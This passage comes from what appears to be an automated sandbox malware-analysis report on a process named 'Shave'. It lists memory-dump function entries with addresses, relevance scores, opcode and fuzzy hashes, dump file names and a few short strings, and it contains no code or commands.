API String ID: 0-725504367
Opcode ID: 1486b8e08f1d12ff79200890cca9393f003d50e2ae96534f92ad05e7fbd2f855
Instruction ID: d67db8768e971c8cd79b90eaae838977b182aa78758d5ccc5a056b4f1f8afad2
Opcode Fuzzy Hash: 1486b8e08f1d12ff79200890cca9393f003d50e2ae96534f92ad05e7fbd2f855
Instruction Fuzzy Hash: 4F31E631A042449FCB08EFB898555AE7BB6EF89301F1081B9E519DB752DE308E02C791

Function 0015AFD7 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

(o]q, xrefs: 0015B079

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: (o]q
API String ID: 0-794736227
Opcode ID: 54d4e93ca5002f40d7d4b02f198eff47228fee556c359a996ad8b3bb8e981760
Instruction ID: 5087158e33b21d9f43901e452f213bef3925f89b65905f90681b09c58da34768
Opcode Fuzzy Hash: 54d4e93ca5002f40d7d4b02f198eff47228fee556c359a996ad8b3bb8e981760
Instruction Fuzzy Hash: 3B2168317082948FCB065B385C240AE7FB26FD631275441ABE966CB6E3CF244C0AC792

Function 383148D0 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

Haq, xrefs: 3831492E

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: 8520270e03d8ee43ff4ab16ece63ff713f7d25a31134e9260d6a0704f9dc968b
Instruction ID: e301c74aa476c9f09bd3a0b51c10ab3cb3b480d3fab99f67abc2c6f3333fff2f
Opcode Fuzzy Hash: 8520270e03d8ee43ff4ab16ece63ff713f7d25a31134e9260d6a0704f9dc968b
Instruction Fuzzy Hash: 1D21E630A042499FD708AF69C851A9E7FBBFF85701F1084AAD9499B3A6CF318E46C751

Function 00152790 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

F, xrefs: 001527BF

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-2730988801
Opcode ID: 0ff8fdd6381751c383aa278411fca5388058102de9e9dccc8f7cbc5b7a1fc686
Instruction ID: 96d16be04f4518e711de25e4be2e8c6f74bf7d05dde9649f1e89c60023e87cb1
Opcode Fuzzy Hash: 0ff8fdd6381751c383aa278411fca5388058102de9e9dccc8f7cbc5b7a1fc686
Instruction Fuzzy Hash: E1315A74D092498FCB05DFB8D8046EDBFB5EF4A300F0042AAD444AB261EB345A89CBA1

Function 0015E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5434683e361fd5ed90db3bf458c5b31d5e0489904e53bd34c186484dd095d08a
Instruction ID: f7d5a5a4cac5f5e7557a0bb8fa0fcbace01d5c6731125a6fe65f027bc61cf393
Opcode Fuzzy Hash: 5434683e361fd5ed90db3bf458c5b31d5e0489904e53bd34c186484dd095d08a
Instruction Fuzzy Hash: DA129835065646CFA2502B70EDAC12BBBF1FB1F32B7546CA8F10FC58659B7144C9CA62

Function 38314A68 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cd912612dac58c28199484f68225ceaaefbcab88e8d4c16113aebec4a80f352
Instruction ID: 5593a7dad4af769f42edd778a484accf377050acca3c02a675b9e100101570dd
Opcode Fuzzy Hash: 3cd912612dac58c28199484f68225ceaaefbcab88e8d4c16113aebec4a80f352
Instruction Fuzzy Hash: 4C51F1B6B012059FD718AF78D841AAABBBAEFC5B21F10C52AE459DB740D7309901C7A0

Function 001580D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c1e5541854d36cbe3558873340bc81b7f556cdfa66fd55b53b5efcf91223dbf
Instruction ID: 211a615d37b741a51e6d7cf21f82384e58bece54667931bed5a90b7ad11fab8f
Opcode Fuzzy Hash: 0c1e5541854d36cbe3558873340bc81b7f556cdfa66fd55b53b5efcf91223dbf
Instruction Fuzzy Hash: C471F534700A05CFCB15DF68C884A6A7BE6AF99342F1540A9E826EF371DB70DC86CB51

Function 04B094E1 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c73271eb158b35344a7e709ff8e5b5e00f61ba953ef1d6a94bdf9d7b8f20614
Instruction ID: 463579fb82084b57d71c7a538f24e555024afd91745d280c2b2dfa54c69397be
Opcode Fuzzy Hash: 4c73271eb158b35344a7e709ff8e5b5e00f61ba953ef1d6a94bdf9d7b8f20614
Instruction Fuzzy Hash: 9161E674E012099FDB08DFE9D954ADDBBF2AF88301F50C569E418AB396DA30A942CF50

Function 04B5D700 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b75fc9f61991f80355f72d27992ef2d3a8cc424ffff978f83cf6cd5c9d9981e
Instruction ID: a419231ab562c12ae9d6dd762654e7513094aacffbb2a718169e6af3154c3358
Opcode Fuzzy Hash: 3b75fc9f61991f80355f72d27992ef2d3a8cc424ffff978f83cf6cd5c9d9981e
Instruction Fuzzy Hash: C081A074E412698FDB65DF29DD90BDDBBB2BB89300F1081EAD959A7260DB305E81CF40

Function 04B094F0 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2507dfe0034e72cd29f6a32d00f6b5123b6a1df5a1d476c70f729a1aba6ff8a7
Instruction ID: 930596c33b43336f5a84694fff5742fc0bdf9ada39d462cc17b451f7556c48c0
Opcode Fuzzy Hash: 2507dfe0034e72cd29f6a32d00f6b5123b6a1df5a1d476c70f729a1aba6ff8a7
Instruction Fuzzy Hash: BE61E4B4E012089FDB08DFE9D954ADDBBF2AF88301F10C565E818AB395DA30A942CF50

Function 04B5D410 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53f43212d7fd4ec18e47773e0678e795d6a757c12a4cb7f9a1f3ecb7b88fb2c
Instruction ID: 7875fabb29f5328fd80e905d3874d6a8b5e798ccdfe9a28e50bb03bc900f4e13
Opcode Fuzzy Hash: f53f43212d7fd4ec18e47773e0678e795d6a757c12a4cb7f9a1f3ecb7b88fb2c
Instruction Fuzzy Hash: E671C174E00208CFDB18DFA9C990ADDBBB6BF89300F248129D815BB365DB35A946CF54

Function 04B573E0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9fbc2819c5f00dadcaab82d928a88c8bf3f5bcde27f054eeef2c51c5dcf008e
Instruction ID: 3e8167cc131a51ee3f1c03909037c0308eebbc8071aa2d0dc87cd2321801fc7b
Opcode Fuzzy Hash: c9fbc2819c5f00dadcaab82d928a88c8bf3f5bcde27f054eeef2c51c5dcf008e
Instruction Fuzzy Hash: D871B274E00208CFDB19DFA9C994ADDBBB2BF89300F248129D815BB365DB359946CF54

Function 04E481E8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279803869.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e40000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b6c0aea71e834c5e09bc1e69b7e18fe2720cf5eee3076549c5ce9e0dcd02025
Instruction ID: 034a3ece5ee99c13a64c62c590299c1ed359ea146a735275352e0adb23cb2473
Opcode Fuzzy Hash: 2b6c0aea71e834c5e09bc1e69b7e18fe2720cf5eee3076549c5ce9e0dcd02025
Instruction Fuzzy Hash: F871C278E00208CFDB08EFA5D990ADDBBB2BF89300F249129D815BB355DB35A946CF54

Function 04E421B8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279803869.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e40000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b67f91b0bbe8a6f9b280a8afe32d4826fbae55dc90adc957219fec3528c1f1ca
Instruction ID: ef4be7cf1f5fa30bc892c383a2ebff7880c61ee92eac6e1298836ff650477403
Opcode Fuzzy Hash: b67f91b0bbe8a6f9b280a8afe32d4826fbae55dc90adc957219fec3528c1f1ca
Instruction Fuzzy Hash: 5271D074E00208CFDB08DFA9D990AEDBBB2BF89300F248129D915BB355DB35A946CF54

Function 04E45968 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279803869.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e40000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a1f49de54f475e5caf67f655629461260af20180d4f487c27c7be121a61bc3f
Instruction ID: 31bc072ab650967b3a0c243e87f04111ae28dde66a01172b7f73803b18fc5ef6
Opcode Fuzzy Hash: 8a1f49de54f475e5caf67f655629461260af20180d4f487c27c7be121a61bc3f
Instruction Fuzzy Hash: 1071D174E00208CFDB08DFA9D980ADDBBB2BF89300F249129D919BB355DB35A946CF54

Function 0015F71F Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a2b4fa3f87f65e61bcf16dcd6a88eca1f01d1244b9f4fdf4d1a3b75b67dd0fb
Instruction ID: ec7016d19c3b4ccb58ba0230b4936c332f5390fb1f201237c31b8c9534c3962a
Opcode Fuzzy Hash: 3a2b4fa3f87f65e61bcf16dcd6a88eca1f01d1244b9f4fdf4d1a3b75b67dd0fb
Instruction Fuzzy Hash: DE611274D00318DFDB15CFA5D854AAEBBB2FF88304F208529D809AB355DB395A4ACF41

Function 379F55E2 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4838ce69ca896d3117c69f247e12d3ffbdc943a8c8ca03c9719fae5dc605c362
Instruction ID: 6922763aececaf9fef31120ce5c021d982519625d5bb3b09a3a73daeef5496ef
Opcode Fuzzy Hash: 4838ce69ca896d3117c69f247e12d3ffbdc943a8c8ca03c9719fae5dc605c362
Instruction Fuzzy Hash: 76512471E052518FCB14DF78C8502AEBFF2AF89309B15856EC019DB351DB3A9C82CB91

Function 0015D548 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20be62fc93daec3b36faaca03d9378bc64363ce3d6525a79ca11f42060776fda
Instruction ID: b201fcae45592c31bbf1b68f4e9cee3a17f8ade9addb0c3e99539c01059d7ec9
Opcode Fuzzy Hash: 20be62fc93daec3b36faaca03d9378bc64363ce3d6525a79ca11f42060776fda
Instruction Fuzzy Hash: 34517074E01208DFDB48DFA9D9949DDBBF2BF89300F209169E819AB365DB31A905CF50

Function 04B08A59 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b408a464b733a8e349ee69e9f5583973bab7786e8a1b0f5348028979991f3e1
Instruction ID: 7bbba5e51915486c2c5e165351a4626aa545c4d027cc62895af44a32ff667ee8
Opcode Fuzzy Hash: 7b408a464b733a8e349ee69e9f5583973bab7786e8a1b0f5348028979991f3e1
Instruction Fuzzy Hash: 84413071E016199BDB24DFA5C880ADEFBB5EF88710F24C569E405B7280DB70BA46CB90

Function 0015A303 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fbeaf86b45d1371f9e24b370db33bafb4a187a2f7be9e135220a20b8478ed75
Instruction ID: 043176316a7c5bece33e2b8804d807728d4bcb7e5ad277c1f421505e3680a7af
Opcode Fuzzy Hash: 0fbeaf86b45d1371f9e24b370db33bafb4a187a2f7be9e135220a20b8478ed75
Instruction Fuzzy Hash: E541DD31A44248CFCF11CFA4C844AADBFB2BF49315F448255E9259F2A1D370E958CB62

Function 04B5FB37 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e5b2aa9574381c138545bff9811b719cb959ed37b1271a9403009767b4f599b
Instruction ID: 6606060b75fefa3788fd10c4b15f05d536f14e8853045f829fd867e7c628ab2a
Opcode Fuzzy Hash: 8e5b2aa9574381c138545bff9811b719cb959ed37b1271a9403009767b4f599b
Instruction Fuzzy Hash: 1141CF74E00208CFDB14CFA5D5947EDBBF2BB48304F24816AD809B72A4DB356A4ACF50

Function 04B5FB48 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 184c1c80a4d92a8f04bb628f4dd83bc86d3a8d0e7d1304b39796b48fc2bdd23a
Instruction ID: d016b244265078787715e5af2b8947b2bea498abd15a0ac97184fa8c459e851e
Opcode Fuzzy Hash: 184c1c80a4d92a8f04bb628f4dd83bc86d3a8d0e7d1304b39796b48fc2bdd23a
Instruction Fuzzy Hash: E2419D74E01208CFDB14DFA5D5947EDBBF2BB48300F24902AD819A72A4DB756A4ACF54

Function 00159C30 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba196add2ade023cf592e997265be739c4c1628527637ce8e016c074cfff55f5
Instruction ID: bed6b6bb45c69e10d3a550e79cc168842eadadc541dcf2c036372b0ad828de05
Opcode Fuzzy Hash: ba196add2ade023cf592e997265be739c4c1628527637ce8e016c074cfff55f5
Instruction Fuzzy Hash: 85417E30600245CFDB01CF68C844B6A7BF6EF89312F558466E928CF265D775DC45CBA2

Function 04E4FB22 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279803869.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e40000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 828a078a5876b16429849f3b7bfdceaa1514b22b59a31d6c3ef71e1402854da4
Instruction ID: a1b241e8896a9827f88684404d264557abc45ef69ac39861a8869b1bdb5977b9
Opcode Fuzzy Hash: 828a078a5876b16429849f3b7bfdceaa1514b22b59a31d6c3ef71e1402854da4
Instruction Fuzzy Hash: 70410574E01208CBDB08DFAAD8546DEBBF2AFC9304F10E02AD418BB254EB346906CF55

Function 04B5E588 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6382b22caca8c99c17010dcd6e5e2b9068f371fd8ce68ad5b9ab9f98ac02a03d
Instruction ID: a62766f44a9f026c38f3652b1152eefa434744bd8dee5ac6445e41e7ca7dfe76
Opcode Fuzzy Hash: 6382b22caca8c99c17010dcd6e5e2b9068f371fd8ce68ad5b9ab9f98ac02a03d
Instruction Fuzzy Hash: B5316C717041928FCB1A8B38988466EFB72EF8128034505E7ED19D71B1DB20FB45C792

Function 00155658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10c23404121a592021b265b1cd9ab1537b2d86e12cbac078f04baf002cbd8df5
Instruction ID: 3d7c3ee57056073b4be2007ecfe58c904c0ab1fefae2a6c8a60ac3fb7962513a
Opcode Fuzzy Hash: 10c23404121a592021b265b1cd9ab1537b2d86e12cbac078f04baf002cbd8df5
Instruction Fuzzy Hash: E831A331204149DFCF059F64D9A5AAE3BB3EF88341F608024FD199B255CB35DEA5DBA0

Function 04B573D0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42becba8c6c11e7906cfb5c10d46e1d5314fa3005c1b74e19639189b930b692d
Instruction ID: 593f60691d89a2e7a73ddddb2aa5c71fc39b5b702468cdac7f08d1df27d7c30b
Opcode Fuzzy Hash: 42becba8c6c11e7906cfb5c10d46e1d5314fa3005c1b74e19639189b930b692d
Instruction Fuzzy Hash: D5311C74E012488FDB19DFAAC9446DDFBF2AF89300F24C169D819BB265DB34A906CF51

Function 04E48461 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279803869.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e40000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26b53b6c209c1ac681efc85125cb8975dd879caf89d7800506f43aea21b9f16c
Instruction ID: e941b13eb2f0a77307dfcfa81b094641c49537ab3096d8a56d144e04d9f7a6e6
Opcode Fuzzy Hash: 26b53b6c209c1ac681efc85125cb8975dd879caf89d7800506f43aea21b9f16c
Instruction Fuzzy Hash: C231E275E012088BDB18DFAAE8546EDBBF2BF89304F14D12AD419BB254EB345906CF10

Function 04B5D401 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7929b834227c95dee7b112424fc1a5f9825ba5ef47f6970a484788cd2753045
Instruction ID: cb930ccb48863be10332b8d10407213ef5f23a2105f1108a8da5a9abcdc968dd
Opcode Fuzzy Hash: e7929b834227c95dee7b112424fc1a5f9825ba5ef47f6970a484788cd2753045
Instruction Fuzzy Hash: AF31D874E012088FDB08DFAAD5406DDFBF2AF89304F24D12AC419BB264EB34A946CF50

Function 04B09F88 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279490786.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b00000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9015dc8761d5ad16dcaee8d68906c593899c5eff486fc874a73d56b2eaf1f08f
Instruction ID: 02a1f508d355afc08c6bf50bc2b16ca7277925bb9c1075d22ef6729260b683e6
Opcode Fuzzy Hash: 9015dc8761d5ad16dcaee8d68906c593899c5eff486fc874a73d56b2eaf1f08f
Instruction Fuzzy Hash: DA3124B2D002199BCB10DFAAD884BDEFFF4FF49310F10855AE918A7240C378A944CBA4

Function 04B570AF Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279584649.0000000004B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b50000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acee2cd537cc3cd181098fae542633c381183bf089788c9747dc6c47c821a9b9
Instruction ID: 1b566a1a84de701283565b48660066d8076e57176e60c32813b6841fd70fe7e8
Opcode Fuzzy Hash: acee2cd537cc3cd181098fae542633c381183bf089788c9747dc6c47c821a9b9
Instruction Fuzzy Hash: 8031D274E002488FDB18DFAAD8446EDFBB2AF89300F54D16AC819BB265EB345946CF11

Function 04E481DA Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279803869.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e40000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c413e936cab05148f777a944132e4413b1ed161b87865ab0b17a6ac0e74667f
Instruction ID: 52cd1afc7e2c9e29b62e957ceb7ce86566a97d47aa28bb0a46c019123ad36235
Opcode Fuzzy Hash: 4c413e936cab05148f777a944132e4413b1ed161b87865ab0b17a6ac0e74667f
Instruction Fuzzy Hash: 9831D374E012088BDB08DFAAD5446DEBBF3AF89304F64D02AC419BB254EB35A906CF54

Function 04E421A7 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279803869.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e40000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5343bfdcbb8bd259b70db6d3c8177719766fa1eef961ebf485267a0e0988ab4
Instruction ID: 5b6fede44f47be3300e36d1091efa1c0a8a0d4df1f76759af5e8cb12d2fd6c2b
Opcode Fuzzy Hash: c5343bfdcbb8bd259b70db6d3c8177719766fa1eef961ebf485267a0e0988ab4
Instruction Fuzzy Hash: F0311771E00208CBDB18DFAAD9446DEBBF2AFD9300F24D129D518BB254EB345942CF10

Function 04E45958 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279803869.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e40000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83adcef9813d426452d62f9df5604465b1861605aafaf2ec9c638ef99e14cde3
Instruction ID: 63096583b78a054fb693ea407870405a595f07b0f2e13ec78be2f015f100efb1
Opcode Fuzzy Hash: 83adcef9813d426452d62f9df5604465b1861605aafaf2ec9c638ef99e14cde3
Instruction Fuzzy Hash: B331B374E01208DBDB08DFAAD9446DDBBF2AF89304F64D02AD519BB254EB35A906CF50

Function 3831FC5E Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c642acabe7ab297442ab450bd4f4703af6848cd969b7fe9dd1969b36ce9ee742
Instruction ID: 3fbf270096471921c506af0a060d6b8935e48feb10cd135a446e08bf0b9552d6
Opcode Fuzzy Hash: c642acabe7ab297442ab450bd4f4703af6848cd969b7fe9dd1969b36ce9ee742
Instruction Fuzzy Hash: 9531C274E05648CBEB08DFAAD8406EDBBF2AF89300F50D12AD418BB355DB749906CF11

Function 00158370 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb797405247171496d7875ff88e31cda213238c40dfe36eadd50dbbefda877f2
Instruction ID: aba00de9d72d5840ced2bb3acb3699be507c731e52fc5de54a2dc5256296b7c2
Opcode Fuzzy Hash: fb797405247171496d7875ff88e31cda213238c40dfe36eadd50dbbefda877f2
Instruction Fuzzy Hash: 8E21E231304242CFCB151B398854B7E36A6AFD570A7154039DC16DF6A5EF29CC4BD752

Function 001541A0 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 114decdc01f0744907f82f3bb671f90c863b88d1470e1697c92c5173dc34160d
Instruction ID: 179e8a800783e3f2d2cde906ba044dbf78ac0364446c486aef700050362ead42
Opcode Fuzzy Hash: 114decdc01f0744907f82f3bb671f90c863b88d1470e1697c92c5173dc34160d
Instruction Fuzzy Hash: B4419575E01208CFCB48DFA9D98499DBBF2BF89301F208029E815BB324DB34A946CF14

Function 00158380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bc0fefd0e56a7da5c7c3ec026e1635b325274b00c0deca188bdd2bf6f19a4e3
Instruction ID: ce488566f10e17723db8f1064bb16126096a7890adbefd832fbc098612145688
Opcode Fuzzy Hash: 1bc0fefd0e56a7da5c7c3ec026e1635b325274b00c0deca188bdd2bf6f19a4e3
